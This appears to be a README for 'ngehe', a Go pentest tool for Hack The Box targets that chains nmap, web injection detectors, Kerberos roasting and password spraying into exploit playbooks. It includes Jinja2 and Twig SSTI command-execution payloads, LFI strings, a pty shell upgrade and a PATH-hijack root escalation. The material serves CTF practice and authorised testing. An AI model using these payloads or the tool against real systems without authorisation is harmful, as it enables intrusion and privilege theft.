ngehe discovers a target's attack surface — web + non-HTTP services — and tests for the OWASP Top 10 plus the standard HTB attack vectors (SSH, SMB, LDAP/AD, Kerberos, default credentials). Every finding ships with a concrete exploit playbook, so you go from "port open" to root.txt in one tool.
One Go binary. No Python venv hell, no plugin sprawl, no GUI tax.
Shells out to nmap, parses the XML, then auto-fires the right module for every open port — SSH, FTP, SMB, LDAP, SNMP, DNS, DBs, HTTP.
SQLi, CMDi, SSTI, LFI, SSRF, XSS, BOLA, JWT abuse, mass-assignment, default creds, sensitive-file disclosure, tech fingerprinting.
AS-REP roasting, Kerberoasting, LDAP enumeration, BloodHound JSON collection, NTLM password spray — all native Go.
Markers are verified against reflective baselines, so SSTI / CMDi / SSRF detectors don't false-positive on simple echo endpoints.
Every finding includes a next field with the literal payload, hashcat invocation, or impacket command to chain it to RCE / shell / DA.
common.txt (4750), quickhits.txt (2567), default-passwords.csv (2876) — bundled via go:embed. No network fetches at scan time.
Shells out to nuclei, amass, subfinder, httpx when present. ngehe surface maps subdomains end-to-end; --nuclei adds template-based CVE coverage to scan / box.
Pick the entry point that matches what you have.
ngehe box"I just got an HTB IP." nmap + every per-service module + web recon — full spectrum. --nuclei adds template scan.
$ ngehe box \ --target 10.10.11.5 \ --domain target.htb \ --markdown box.md
ngehe surfaceSubdomain enum + live-host probe. Chains amass + subfinder + httpx (+ optional nuclei).
$ ngehe surface \ --domain target.htb \ --nuclei \ --markdown surface.md
ngehe reconURL-only surface mapping: tech fingerprint, sensitive files, dir bruteforce.
$ ngehe recon \ --target http://10.10.11.5 \ --markdown recon.md
ngehe scanActive OWASP detectors. Takes HAR (best signal), OpenAPI spec, or just a URL. --nuclei bolts on template scan.
$ ngehe scan \ --har capture.har \ --config ngehe.yaml \ --nuclei \ --markdown findings.md
ngehe chainGuided exploit walkthrough. Reads a findings JSONL, walks each finding's playbook, prompts you to run / edit / skip the command. Bridge from "found" to "shell."
$ ngehe chain findings.jsonl $ ngehe chain findings.jsonl --all
Web detectors aligned to OWASP Top 10. Each one emits a structured finding with rule, severity, evidence, and next-step.
| OWASP | Detector | What it does |
|---|---|---|
| A01 Broken Access | bola-cross-user-access | Replay request as each other session; flag similar responses |
idor-mutated-id | Permute numeric / UUID IDs in path and body | |
lfi-path-traversal | ../etc/passwd, encoding variants, php://filter, file:// | |
| A02 Crypto Failures | jwt-alg-none | Unsigned token accepted |
jwt-weak-secret | HS256 token re-signed with weak secret accepted | |
jwt-kid-injection | Path-traversal kid accepted | |
| A03 Injection | sqli-error-based / sqli-time-based | DB error string or measurable SLEEP delay |
cmdi-marker / cmdi-time-based | Shell command output reflected, or sleep delay (blind RCE) | |
ssti | {{1337*1331}} evaluated to 1779547 server-side | |
xss-reflected | Payload reflected unescaped into HTML context | |
| A05 Misconfig | sensitive-file | Content-fingerprinted probes for .git, .env, AWS creds, phpinfo |
dir-discovery | SecLists common.txt directory bruteforce | |
default-credentials | Curated web admin creds tested against configured login URLs | |
| A06 Vuln Components | tech-fingerprint | Server / framework / CMS / runtime versions for manual CVE lookup |
cve-2026-41940-cpanel-whm-auth-bypass | Non-invasive cPanel / WHM / WP Squared version check for auth-bypass vulnerable branches | |
cve-2026-42945-nginx-rift | Banner-based NGINX Rift vulnerable-version check without crash / DoS payloads | |
| A08 Integrity | mass-assign-reflected / -accepted | isAdmin / role / owner injection echoed or silently accepted |
| A10 SSRF | ssrf | Cloud metadata (AWS / GCP / Azure), file://, loopback, gopher / dict |
ngehe box)Auto-dispatched per service nmap finds open.
| Service | Modules |
|---|---|
| SSH | ssh-banner, ssh-old-openssh, ssh-libssh-auth-bypass, ssh-cve-2018-15473, ssh-auth-methods, ssh-none-auth-allowed |
| FTP | ftp-banner, ftp-anonymous-allowed, ftp-anonymous-listing |
| SMB | smb-null-session-allowed, smb-anonymous-allowed, smb-guest-allowed |
| LDAP | ldap-anonymous-bind, ldap-root-dse, ldap-user-enum, ldap-asrep-roastable |
| SNMP | snmp-community-accepted |
| DNS | dns-axfr-allowed, dns-subdomain |
| Databases | db-default-creds-{mysql,postgres,mssql,redis}, db-no-auth-redis |
| Active Directory | kerberos-asrep-roast, kerberos-kerberoast (hashcat-format hashes via gokrb5) |
| BloodHound | bloodhound-collect — LDAP-based collection into BloodHound JSON |
| HTTP NTLM | ntlm-spray-hit — password spray against HTTP NTLM endpoints |
Four independent open-source scanners ngehe shells out to when their binaries are on PATH. Findings land in the same JSONL with source: set so you can filter native vs upstream. Install all four with ./install.sh --with-extras — or skip the host install entirely and use the Docker image (everything pre-bundled).
| Tool | Used by | Why |
|---|---|---|
| nuclei | scan --nuclei, box --nuclei, surface --nuclei | Template-based scanner. Thousands of community CVE / default-config / exposure templates. Complements ngehe's hand-written detectors with breadth. |
| amass (OWASP) | ngehe surface | Comprehensive passive subdomain enumeration. Slower than subfinder but reaches more sources. |
| subfinder | ngehe surface | Fast passive subdomain enumeration across many sources (CRT, VT, Shodan, ...). |
| httpx | ngehe surface | Probe hostnames for live HTTP. Captures status / title / webserver / tech fingerprint. |
Each integration is opt-in. If a binary is missing, ngehe prints a hint and skips it without failing the run. Filter native vs upstream findings via ngehe view — no need to remember jq:
$ ngehe view findings.jsonl --source nuclei $ ngehe view findings.jsonl --source native # just ngehe's own detectors $ ngehe view findings.jsonl --source upstream # any external tool (nuclei/amass/subfinder/httpx)
Every finding carries a next field with the literal payload. The markdown report opens with a "Suggested attack chain" section that orders the criticals and gives you the commands to run.
{
"rule": "ssti",
"severity": "critical",
"method": "GET",
"url": "http://target/api/greet?name=%7B%7B1337%2A1331%7D%7D",
"param": "query:name",
"payload": "{{1337*1331}}",
"evidence": "Jinja2/Twig evaluated 1337*1331 → 1779547",
"why": "template expression evaluated server-side",
"next": "RCE via template. Engine in evidence — chain to OS commands:
Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig: {{['id']|filter('system')}}"
}
Filter to actionable findings (no jq needed):
# Just the attack-chain candidates $ ngehe view findings.jsonl --severity critical,high # Convert filtered subset to markdown $ ngehe view findings.jsonl --severity critical,high --markdown actionable.md # Pipe URLs into the next stage $ ngehe view findings.jsonl --rule httpx-live --urls | xargs -I{} ngehe scan -t {}
## Suggested attack chain 1. CRITICAL ssti at /api/greet?name=... → RCE via Jinja2 template injection → upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")' 2. HIGH SUID PATH-hijack candidate on /usr/local/bin/backup-tool (calls tar with relative path) → drop a fake tar in /tmp; export PATH=/tmp:$PATH; run binary → likely root shell. cat /root/root.txt
Each detector and service module is an independent Go package under internal/. They share httpx, fuzz, oracle, finding, and wordlist utilities.
Don't want to install on your host? The bundled Docker image runs on Linux, macOS (Apple Silicon + Intel), and Windows/WSL — same image, no platform-specific compile pain.
$ git clone https://github.com/chud-lori/ngehe.git $ cd ngehe $ ./scripts/ngehe doctor # auto-builds image on first run (15-25 min) $ ./scripts/ngehe surface -d example.com --nuclei $ ./scripts/ngehe --shell # interactive shell with every tool on PATH
~2GB image, the full web + box pentest toolkit. ngehe + nuclei (templates pre-baked) + amass + subfinder + httpx + nmap + sqlmap + ffuf + gobuster + dalfox + hashcat + impacket + netexec + evil-winrm + kerbrute + enum4linux-ng + smbclient + ldap-utils + bloodhound-python + PayloadsAllTheThings. Build once, every command works.
Or docker compose (auto-builds on first run):
$ docker compose run --rm ngehe surface -d example.com --nuclei
No public registry image yet — same model as amass. Set NGEHE_IMAGE=ghcr.io/me/ngehe:latest after pushing to your own registry to swap the local build for a pull.
--network host runs through a VM bridge — LAN/RFC1918 targets are reachable, but raw-socket nmap modes need --cap-add=NET_RAW. ngehe uses TCP-connect scans by default, so the basic flow works as-is.Prefer to install on the host? Detects brew / apt / dnf / pacman / apk, installs nmap, builds, and drops ngehe in /usr/local/bin.
$ git clone https://github.com/chud-lori/ngehe.git $ cd ngehe $ sudo ./install.sh # base: ngehe + nmap $ sudo ./install.sh --with-extras # also nuclei + amass + subfinder + httpx
Non-root install to ~/.local/bin:
$ PREFIX=$HOME/.local ./install.sh --with-extras
Uninstall (three tiers):
$ sudo ./install.sh --uninstall # ngehe binary only $ sudo ./install.sh --uninstall --with-extras # also remove the four extras $ sudo ./install.sh --uninstall --purge # nuke everything: + nmap + template cache + go modcache
Verify deps:
$ ngehe doctor # required: nmap (for ngehe box) # recommended: hashcat / sqlmap / bloodhound
Pwning a typical HTB box with ngehe.
# 1. Full-spectrum scan. Hits every open port. $ ngehe box --target 10.10.11.5 --domain target.htb --markdown box.md # 2. If a web app is in scope: capture real traffic in Burp / mitmproxy. # 3. Write ngehe.yaml with sessions + default-creds URLs. $ ngehe init --out ngehe.yaml # 4. Active web scan — every detector. $ ngehe scan --har capture.har --config ngehe.yaml --markdown web.md # 5. Read the "Suggested attack chain" header in box.md / web.md. # 6. Run the literal commands ngehe printed in the next field. # 7. user.txt → root.txt.
Full walkthroughs (web → root.txt, AD → Domain Admin) in the HOWTO.
ngehe is the active component of a three-tool stack. They share a JSONL output convention.